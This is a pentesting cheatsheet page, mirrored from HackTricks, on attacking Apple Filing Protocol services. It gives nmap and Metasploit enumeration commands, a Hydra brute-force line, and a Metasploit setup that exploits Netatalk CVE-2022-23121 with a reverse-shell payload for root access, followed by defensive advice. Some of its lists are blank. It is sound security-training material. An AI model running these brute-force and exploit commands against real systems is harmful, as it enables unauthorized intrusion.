repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
584-pentesting-afp.mdMarkdown169 lines8.5 KiBsource raw download

title: "548 - Pentesting Apple Filing Protocol (AFP)" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/584-pentesting-afp.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/584-pentesting-afp.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

548 - Pentesting Apple Filing Protocol (AFP)#

Basic Information#

The Apple Filing Protocol (AFP), formerly AppleTalk Filing Protocol, provides file services for classic Mac OS and macOS. AFP supports Unicode filenames, POSIX-style and ACL permissions, resource forks, named extended attributes, and Mac-oriented file locking.

Although AFP has been superseded by SMB in modern macOS releases (SMB is the default since OS X 10.9), it is still encountered in:

Default TCP Port: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeration#

Quick banner / server info#

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Useful AFP NSE scripts include the following:[5]

Script What it does
afp-ls List available AFP volumes and files
afp-brute Password brute-force against AFP login
afp-serverinfo Dump server name, machine type, AFP version, supported UAMs, etc.
afp-showmount List shares together with their ACLs
afp-path-vuln Detects (and can exploit) directory-traversal, CVE-2010-0533

The NSE brute-force script can be combined with Hydra/Medusa if more control is required:

hydra -L users.txt -P passwords.txt afp://<IP>

If you already have credentials, Nmap's AFP scripts become much more useful because afp-serverinfo leaks the advertised UAMs (auth methods), while afp-showmount and afp-ls can enumerate reachable shares, ACLs and interesting files:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
  --script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Pay attention to:

Interacting with shares#

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (using afpfs-ng ‑ packaged in most distros)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Once mounted, remember that classic Mac resource-forks are stored as hidden ._* AppleDouble files – these often hold interesting metadata that DFIR tools miss.

On Netatalk targets this metadata backend also matters for exploitability:

From an offensive perspective, this lets you quickly decide whether AppleDouble-oriented bugs are more likely to be reachable on the server.


Common Vulnerabilities & Exploitation#

Netatalk unauthenticated RCE chain (2022)#

Several NAS vendors shipped Netatalk ≤3.1.12. A lack of bounds checking in parse_entries() allows an attacker to craft a malicious AppleDouble header and obtain remote root before authentication (CVSS 9.8 – CVE-2022-23121). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.[1]

Metasploit (>= 6.3) ships the module exploit/linux/netatalk/parse_entries which delivers the payload via DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.

Netatalk OpenSession heap overflow (2018)#

Older Netatalk (3.0.0 - 3.1.11) is vulnerable to an out-of-bounds write in the DSI OpenSession handler allowing unauthenticated code execution (CVE-2018-1160). A detailed analysis and PoC were published by Tenable Research.[2]

Newer Netatalk attack surface (2022-2024)#

Recent Netatalk advisories show that the attack surface is no longer limited to parse_entries() and OpenSession handling:[3]

This means the output of afp-serverinfo is not just fingerprinting data; it helps you decide which login parser is exposed before spending time on exploit development or NAS firmware triage.

Other notable issues#


Defensive Recommendations#

  1. Disable AFP unless strictly required – use SMB3 or NFS instead.
  2. If AFP must stay, use a currently supported Netatalk release or vendor firmware that backports all relevant fixes. Version 3.1.18 is a useful historical marker for several 2022–2024 fixes, but it is not a blanket minimum because later vulnerabilities required 3.1.19 or newer; maintained 4.x releases are preferable where compatible.[3][4]
  3. Enforce Strong UAMs (e.g. DHX2), disable clear-text and guest logins.
  4. Restrict TCP 548 to trusted subnets and wrap AFP inside a VPN when exposed remotely.
  5. Periodically scan with nmap -p 548 --script afp-* in CI/CD to catch rogue / downgraded appliances.

Brute-Force#

References#